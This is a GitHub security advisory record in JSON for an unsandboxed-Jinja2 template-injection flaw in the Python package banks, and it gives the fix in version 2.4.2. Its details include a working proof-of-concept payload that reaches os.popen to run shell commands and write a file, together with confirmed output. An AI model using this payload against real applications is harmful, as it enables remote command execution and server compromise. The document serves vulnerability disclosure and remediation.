CVE-2026-44209: Banks Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gphh-9q3h-jgpp",
  "modified" : "2026-06-08T23:29:16Z",
  "published" : "2026-05-08T20:36:22Z",
  "aliases" : [ "CVE-2026-44209" ],
  "summary" : "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI",
  "details" : "## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm — identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "banks"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/masci/banks/pull/74"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/masci/banks"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T20:36:22Z",
    "nvd_published_at" : "2026-05-26T21:16:37Z"
  }
}